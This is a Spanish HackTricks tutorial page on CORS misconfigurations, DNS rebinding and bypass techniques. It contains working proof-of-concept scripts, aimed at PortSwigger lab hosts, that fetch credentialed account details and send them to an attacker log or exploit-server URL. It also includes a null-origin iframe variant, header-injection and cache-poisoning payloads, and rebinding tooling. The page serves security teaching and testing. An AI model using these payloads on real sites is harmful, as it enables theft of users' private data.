28 KiB
CORS - Configuraciones incorrectas y bypass
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de HackTricks y HackTricks Cloud.
¿Qué es CORS?
El estándar CORS (Cross-origin resource sharing) es necesario porque permite a los servidores especificar quién puede acceder a sus activos y qué métodos de solicitud HTTP están permitidos desde recursos externos.
Una política de mismo origen, requiere que tanto el servidor que solicita un recurso como el servidor donde se encuentra el recurso utilicen el mismo protocolo (http://),dominio (internal-web.com) y el mismo puerto (80). Entonces, si el servidor impone la política de mismo origen, solo las páginas web del mismo dominio y puerto podrán acceder a los recursos.
La siguiente tabla muestra cómo se aplicaría la política de mismo origen en http://normal-website.com/example/example.html
:
URL accedida | ¿Acceso permitido? |
---|---|
http://normal-website.com/example/ |
Sí: mismo esquema, dominio y puerto |
http://normal-website.com/example2/ |
Sí: mismo esquema, dominio y puerto |
https://normal-website.com/example/ |
No: esquema y puerto diferentes |
http://en.normal-website.com/example/ |
No: dominio diferente |
http://www.normal-website.com/example/ |
No: dominio diferente |
http://normal-website.com:8080/example/ |
No: puerto diferente* |
*Internet Explorer permitirá este acceso porque IE no tiene en cuenta el número de puerto al aplicar la política de mismo origen.
Cabecera Access-Control-Allow-Origin
La especificación de Access-Control-Allow-Origin
permite múltiples orígenes, o el valor null
, o el comodín *
. Sin embargo, ningún navegador admite múltiples orígenes y hay restricciones en el uso del comodín *
.(El comodín solo puede usarse solo, esto fallará Access-Control-Allow-Origin: https://*.normal-website.com
y no se puede usar con Access-Control-Allow-Credentials: true)
Esta cabecera es devuelta por un servidor cuando un sitio web solicita un recurso de otro dominio, con una cabecera Origin
añadida por el navegador.
Cabecera Access-Control-Allow-Credentials
El comportamiento predeterminado de las solicitudes de recursos de otro origen es que las solicitudes se envíen sin credenciales como cookies y la cabecera de Autorización. Sin embargo, el servidor de otro dominio puede permitir la lectura de la respuesta cuando las credenciales se envían a él estableciendo la cabecera CORS Access-Control-Allow-Credentials
en true
.
Si el valor se establece en true
, entonces el navegador enviará credenciales (cookies, cabeceras de autorización o certificados de cliente TLS).
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
Solicitud de pre-vuelo
Bajo ciertas circunstancias, cuando una solicitud entre dominios:
- incluye un método HTTP no estándar (HEAD, GET, POST)
- incluye headers nuevos
- incluye un valor especial en el header Content-Type
{% hint style="info" %} Verifica en este enlace las condiciones de una solicitud para evitar el envío de una solicitud de pre-vuelo {% endhint %}
la solicitud entre orígenes es precedida por una solicitud utilizando el método OPTIONS
, y el protocolo CORS requiere una verificación inicial sobre qué métodos y headers están permitidos antes de permitir la solicitud entre orígenes. Esto se denomina la verificación de pre-vuelo. El servidor devuelve una lista de métodos permitidos además del origen de confianza y el navegador verifica si el método del sitio web solicitante está permitido.
{% hint style="danger" %} Ten en cuenta que incluso si no se envía una solicitud de pre-vuelo porque se respetan las condiciones de la "solicitud regular", la respuesta necesita tener los headers de autorización o el navegador no podrá leer la respuesta de la solicitud. {% endhint %}
Por ejemplo, esta es una solicitud de pre-vuelo que busca usar el método PUT
junto con un header de solicitud personalizado llamado Special-Request-Header
:
OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
El servidor podría devolver una respuesta como la siguiente:
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
Access-Control-Allow-Headers
Cabeceras permitidasAccess-Control-Expose-Headers
Access-Control-Max-Age
Define un marco de tiempo máximo para el almacenamiento en caché de la respuesta de pre-vuelo para su reutilizaciónAccess-Control-Request-Headers
La cabecera que la solicitud de origen cruzado quiere enviarAccess-Control-Request-Method
El método que la solicitud de origen cruzado quiere utilizarOrigin
Origen de la solicitud de origen cruzado (Establecido automáticamente por el navegador)
Tenga en cuenta que normalmente (dependiendo del content-type y las cabeceras establecidas) en una solicitud GET/POST no se envía una solicitud de pre-vuelo (la solicitud se envía directamente), pero si desea acceder a las cabeceras/cuerpo de la respuesta, debe contener una cabecera Access-Control-Allow-Origin que lo permita.
Por lo tanto, CORS no protege contra CSRF (pero puede ser útil).
Solicitud de pre-vuelo de peticiones de red local
Cuando se envía una solicitud a una dirección IP de red local, se envían 2 cabeceras CORS adicionales:
- La cabecera de solicitud del cliente
Access-Control-Request-Local-Network
indica que la solicitud es una petición de red local - La cabecera de respuesta del servidor
Access-Control-Allow-Local-Network
indica que un recurso puede compartirse de manera segura con redes externas
Una respuesta válida que permite la solicitud de red local necesita tener también en la respuesta la cabecera Access-Controls-Allow-Local_network: true
:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://public.example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
{% hint style="warning" %} Tenga en cuenta que la IP 0.0.0.0 de linux funciona para bypass estos requisitos para acceder a localhost ya que esa dirección IP no se considera "local".
También es posible bypass los requisitos de Red Local si usa la dirección IP pública de un punto final local (como la IP pública del router). Porque en varias ocasiones, incluso si se accede a la IP pública, si es desde la red local, se concederá acceso.
{% endhint %}
Configuraciones explotables
Note que la mayoría de los ataques reales requieren que Access-Control-Allow-Credentials
esté configurado en true
porque esto permitirá que el navegador envíe las credenciales y lea la respuesta. Sin credenciales, muchos ataques se vuelven irrelevantes; significa que no puedes aprovechar las cookies de un usuario, por lo que a menudo no hay nada que ganar haciendo que su navegador emita la solicitud en lugar de emitirla tú mismo.
Una excepción notable es cuando la ubicación de red de la víctima funciona como una especie de autenticación. Puedes usar el navegador de una víctima como un proxy para bypass la autenticación basada en IP y acceder a aplicaciones de intranet. En términos de impacto, esto es similar a DNS rebinding, pero mucho menos complicado de explotar.
Origin
reflejado en Access-Control-Allow-Origin
En el mundo real esto no puede suceder ya que estos 2 valores de los encabezados están prohibidos juntos.
También es cierto que muchos desarrolladores quieren permitir varias URLs en el CORS, pero no se permiten comodines de subdominios o listas de URLs. Entonces, varios desarrolladores generan el encabezado **Access-Control-Allow-Origin
** dinámicamente, y en más de una ocasión simplemente copian el valor del encabezado Origin.
En ese caso, se podría explotar la misma vulnerabilidad.
En otros casos, el desarrollador podría verificar que el dominio (victimdomain.com) aparezca en el encabezado Origin, entonces, un atacante puede usar un dominio llamado attackervictimdomain.com
para robar la información confidencial.
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
El origen null
null
es un valor especial para el encabezado Origin. La especificación menciona que se activa por redirecciones y archivos HTML locales. Algunas aplicaciones podrían incluir en la lista blanca el origen null
para apoyar el desarrollo local de la aplicación.
Esto es bueno porque varias aplicaciones permitirán este valor dentro de CORS y cualquier sitio web puede obtener fácilmente el origen null utilizando un iframe con sandbox:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
Regexp bypasses
Si descubres que el dominio victim.com está en la lista blanca, deberías verificar si victim.com.attacker.com también está en la lista blanca, o, en caso de que puedas tomar control de algún subdominio, comprueba si somesubdomain.victim.com está en la lista blanca.
Avances en bypasses de Regexp
La mayoría de las regex utilizadas para identificar el dominio dentro de la cadena se centrarán en caracteres ASCII alfanuméricos y .-
. Entonces, algo como victimdomain.com{.attacker.com
dentro del encabezado Origin será interpretado por la regexp como si el dominio fuera victimdomain.com
, pero el navegador (en este caso Safari soporta este carácter en el dominio) accederá al dominio attacker.com
.
¡El carácter _
(en subdominios) no solo es compatible con Safari, sino también con Chrome y Firefox!
Entonces, utilizando uno de esos subdominios podrías eludir algunas regex "comunes" para encontrar el dominio principal de una URL.
Para más información y configuraciones de este bypass consulta: https://www.corben.io/advanced-cors-techniques/ y https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397
Desde XSS dentro de un subdominio
Un mecanismo defensivo que utilizan los desarrolladores contra la explotación de CORS es incluir en la lista blanca dominios que solicitan acceso frecuentemente a la información. Sin embargo, esto no es completamente seguro, porque si incluso uno de los subdominios del dominio en la lista blanca es vulnerable a otros exploits como XSS, puede habilitar la explotación de CORS.
Consideremos un ejemplo, el siguiente código muestra la configuración que permite a los subdominios de requester.com acceder a recursos de provider.com.
if ($_SERVER['HTTP_HOST'] == '*.requester.com')
{
//Access data
else{ // unauthorized access}
}
Envenenamiento de caché del lado del servidor
Si las estrellas están alineadas, podríamos utilizar el envenenamiento de caché del lado del servidor a través de la inyección de cabeceras HTTP para crear una vulnerabilidad de XSS almacenado.
Si una aplicación refleja la cabecera Origin sin siquiera verificarla en busca de caracteres ilegales como , efectivamente tenemos una vulnerabilidad de inyección de cabeceras HTTP contra usuarios de IE/Edge ya que Internet Explorer y Edge consideran \r (0x0d) como un terminador de cabecera HTTP válido:GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
Internet Explorer ve la respuesta como:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
Esto no es directamente explotable porque no hay forma de que un atacante haga que el navegador web de alguien envíe una cabecera malformada, pero puedo crear manualmente esta solicitud en Burp Suite y una caché del lado del servidor puede guardar la respuesta y servirla a otras personas. El payload que he utilizado cambiará el conjunto de caracteres de la página a UTF-7, que es notoriamente útil para crear vulnerabilidades XSS.
Envenenamiento de caché del lado del cliente
Es posible que ocasionalmente te hayas encontrado con una página con XSS reflejado en una cabecera HTTP personalizada. Digamos que una página web refleja el contenido de una cabecera personalizada sin codificar:
GET / HTTP/1.1
Host: example.com
X-User-id: <svg/onload=alert\(1\)>
HTTP/1.1 200 OK
Access-Control-Allow-Origin: \*
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...
Invalid user: <svg/onload=alert\(1\)>\
Con CORS, podemos enviar cualquier valor en el Header. Por sí mismo, eso es inútil ya que la respuesta que contiene nuestro JavaScript inyectado no se renderizará. Sin embargo, si no se ha especificado Vary: Origin, la respuesta puede almacenarse en la caché del navegador y mostrarse directamente cuando el navegador navegue a la URL asociada. He creado un fiddle para intentar este ataque en una URL de tu elección. Dado que este ataque utiliza la caché del lado del cliente, es bastante confiable.
<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // beware of mixed content blocking when targeting HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send();
</script>
Bypass
XSSI (Cross-Site Script Inclusion) / JSONP
XSSI designa un tipo de vulnerabilidad que explota el hecho de que, cuando un recurso se incluye usando la etiqueta script
, la política de SOP no se aplica, porque los scripts deben poder incluirse entre dominios. Un atacante puede así leer todo lo que se incluyó usando la etiqueta script
.
Esto es especialmente interesante cuando se trata de JavaScript dinámico o JSONP cuando se utilizan informaciones de autoridad ambiental como las cookies para autenticación. Las cookies se incluyen al solicitar un recurso de un host diferente. Plugin de BurpSuite: https://github.com/kapytein/jsonp
Lee más sobre los diferentes tipos de XSSI y cómo explotarlos aquí.
Intenta agregar un parámetro callback
en la solicitud. Tal vez la página estaba preparada para enviar los datos como JSONP. En ese caso, la página enviará los datos con Content-Type: application/javascript
lo cual evadirá la política de CORS.
Bypass fácil (¿inútil?)
Puedes pedirle a una aplicación web que haga una solicitud por ti y te envíe la respuesta. Esto evadirá el Access-Control-Allow-Origin
pero ten en cuenta que las credenciales para la víctima final no se enviarán ya que estarás contactando un dominio diferente (el que hará la solicitud por ti).
CORS-escape proporciona un proxy que pasa nuestra solicitud junto con sus encabezados, y también falsifica el encabezado Origin (Origin = dominio solicitado). Así que la política de CORS se evita.
El código fuente está en Github, así que puedes alojar el tuyo propio.
xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts");
El proxy es como "pasar" tu solicitud, exactamente como la enviaste. Podríamos resolver esto de una manera alternativa que aún implica que alguien más haga la solicitud por ti, pero esta vez, en lugar de pasar tu solicitud, el servidor hace su propia solicitud, pero con los parámetros que especificaste.
Iframe + Popup Bypass
Puedes burlar las comprobaciones de CORS como e.origin === window.origin
creando un iframe y desde él abriendo una nueva ventana. Más información en la siguiente página:
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
DNS Rebinding via TTL
Básicamente haces que la víctima acceda a tu página, luego cambias el DNS de tu dominio (la IP) y haces que apunte a la página web de tu víctima. Haces que tu víctima ejecute (JS) algo cuando el TTL se acabe para que se realice una nueva solicitud de DNS y entonces podrás recopilar la información (ya que siempre mantendrás al usuario en tu dominio, no enviará ninguna cookie al servidor de la víctima, por lo que esta opción abusa de los privilegios especiales de la IP de la víctima).
Incluso si configuras el TTL muy bajo (0 o 1), los navegadores tienen una caché que te impedirá abusar de esto durante varios segundos/minutos.
Por lo tanto, esta técnica es útil para burlar comprobaciones explícitas (la víctima está realizando explícitamente una solicitud de DNS para verificar la IP del dominio y cuando se llama al bot, él hará su propia solicitud).
O cuando puedes tener a un usuario/bot en la misma página durante mucho tiempo (así puedes esperar hasta que la caché expire).
Si necesitas algo rápido para abusar de esto puedes usar un servicio como https://lock.cmpxchg8b.com/rebinder.html.
Si quieres ejecutar tu propio servidor de DNS rebinding puedes usar algo como DNSrebinder, luego exponer tu puerto local 53/udp, crear un registro A apuntando a él (ns.example.com), y crear un registro NS apuntando al subdominio A creado previamente(ns.example.com).
Entonces, cualquier subdominio de ese subdominio (ns.example.com), será resuelto por tu host.
Consulta también el servidor público en funcionamiento en http://rebind.it/singularity.html
DNS Rebinding via Inundación de Caché de DNS
Como se explicó en la sección anterior, los navegadores tienen las IPs de los dominios en caché más tiempo del especificado en el TTL. Sin embargo, hay una forma de burlar esta defensa.
Puedes tener un service worker que inunde la caché de DNS para forzar una segunda solicitud de DNS. Entonces el flujo será como sigue:
- Solicitud de DNS respondida con dirección del atacante
- Service worker inunda la caché de DNS (se elimina el nombre del servidor atacante en caché)
- Segunda solicitud de DNS esta vez respondida con 127.0.0.1
El azul es la primera solicitud de DNS y el naranja es la inundación.
DNS Rebinding via Caché
Como se explicó en la sección anterior, los navegadores tienen las IPs de los dominios en caché más tiempo del especificado en el TTL. Sin embargo, hay otra forma de burlar esta defensa.
Puedes crear 2 registros A (o 1 con 2 IPs, dependiendo del proveedor) para el mismo subdominio en el proveedor de DNS y cuando un navegador los verifique, obtendrá ambos.
Ahora, si el navegador decide usar primero la dirección IP del atacante, el atacante podrá servir el payload que realizará solicitudes HTTP al mismo dominio. Sin embargo, ahora que el atacante conoce la IP de la víctima, dejará de responder al navegador de la víctima.
Cuando el navegador descubre que el dominio no le está respondiendo, usará la segunda IP dada, por lo que accederá a un lugar diferente burlando SOP. El atacante puede abusar de eso para obtener la información y exfiltrarla.
{% hint style="warning" %}
Ten en cuenta que para acceder a localhost deberías intentar reasignar 127.0.0.1 en Windows y 0.0.0.0 en Linux.
Proveedores como godaddy o cloudflare no me permitieron usar la ip 0.0.0.0, pero AWS route53 me permitió crear un registro A con 2 IPs siendo una de ellas "0.0.0.0"
![](/Mirrors/hacktricks/media/commit/bf25e8bbe83d1db3e81c6ae749366cd68faf1d68/.gitbook/assets/image%20%28638%29%20%282%29%20%281%29%20%281%29%20%281%29.png)
Para más información puedes consultar https://unit42.paloaltonetworks.com/dns-rebinding/
Otras Burlas Comunes
- Si no se permiten IPs internas, podrían olvidar prohibir 0.0.0.0 (funciona en Linux y Mac)
- Si no se permiten IPs internas, responde con un CNAME a localhost (funciona en Linux y Mac)
- Si no se permiten IPs internas como respuestas de DNS, puedes responder con CNAMEs a servicios internos como www.corporate.internal.
DNS Rebidding Armado
Puedes encontrar más información sobre las técnicas de burla anteriores y cómo usar la siguiente herramienta en la charla Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.
Singularity of Origin
es una herramienta para realizar ataques de DNS rebinding. Incluye los componentes necesarios para reasignar la dirección IP del nombre de DNS del servidor de ataque a la dirección IP de la máquina objetivo y para servir payloads de ataque para explotar software vulnerable en la máquina objetivo.
Protección Real contra DNS Rebinding
- Usa TLS en servicios internos
- Solicita autenticación para acceder a datos
- Valida el encabezado Host
- https://wicg.github.io/private-network-access/: Propuesta para enviar siempre una solicitud previa cuando los servidores públicos quieran acceder a servidores internos
Herramientas
Fuzz posibles malas configuraciones en políticas de CORS
- https://github.com/chenjj/CORScanner
- https://github.com/lc/theftfuzzer
- https://github.com/s0md3v/Corsy
- https://github.com/Shivangx01b/CorsMe
Referencias
{% embed url="https://portswigger.net/web-security/cors" %}
{% embed url="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS" %}
{% embed url="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" %}
{% embed url="https://www.codecademy.com/articles/what-is-cors" %}
{% embed url="https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors" %}
{% embed url="https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646" %}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration" %}
{% embed url="https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b" %}
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud en github.